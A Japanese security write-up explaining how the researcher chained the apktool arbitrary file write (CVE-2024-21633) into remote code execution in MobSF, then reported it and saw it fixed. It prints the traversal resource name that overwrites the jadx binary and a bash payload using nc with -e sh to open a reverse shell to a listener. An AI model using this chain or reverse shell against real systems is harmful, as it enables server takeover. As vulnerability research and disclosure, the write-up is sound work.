
MobSF リモートコード実行 (via CVE-2024-21633)
apktool における任意ファイル書き込みを発見し、GitHub セキュリティアドバイザリ 経由で報告しました。多くのプロジェクトが apktool に依存していることは認識していましたが、アドバイザリの公開 と 修正 後も、多くの人が気づいたり気にしたりしていないようでした。そこで、主要な依存プロジェクトのいくつかでその影響と悪用可能性を調査することにし、最初に MobSF から始めました。
この脆弱性により、"${decode target path}/res/" への相対パスに任意のファイルを書き込むことができます。最大の影響は RCE を達成することです。ただし、書き込んだファイルは実行可能ではありません。
取り組む前に、次の 2 つのアイデアを考えていました:
しかし、ファイルのパーミッションを実行可能に変更するアプリがあり、さらにその後で実行してくれるという幸運に恵まれたらどうでしょうか? そして、それがすべて apktool の実行後に行われる必要があります。それがまさに MobSF の状況です。MobSF は静的解析の一部として jadx を使用し、jadx をサブプロセスで呼び出しますが、その直前に jadx のパーミッションを実行可能に変更します。
apktool、chmod、jadx がそれぞれ呼び出されたログの抜粋:
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk
ターゲットとして jadx を使用しますが、jadx の res フォルダへの相対パスを知る必要があります。これは Python 関数の os.path.relpath() を使用して取得できます。
リソースベースフォルダは "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/" です。
次のパスにある jadx バイナリを上書きしたい: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'
ペイロードは res/raw/jadx に配置します。
#!/bin/bash
nc host.docker.internal 9001 -e sh
リソース名は "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx" になります。
APK をアップロードし、jadx が実行されるのを待つと、nc リスナー上でシェルを取得できます。
Bingo!

その後、この問題を MobSF チームにメールで報告し、迅速な返信を得て、新しい apktool バージョンへのアップデート によって修正されました。ただし、jadx を実行可能にして後で実行するという動作は依然として残っています。私はむしろ、事前にパーミッションを固定し、ディレクトリを書き込み不可にしておくべきだと思います。
フォローしてね! @0x33c0unt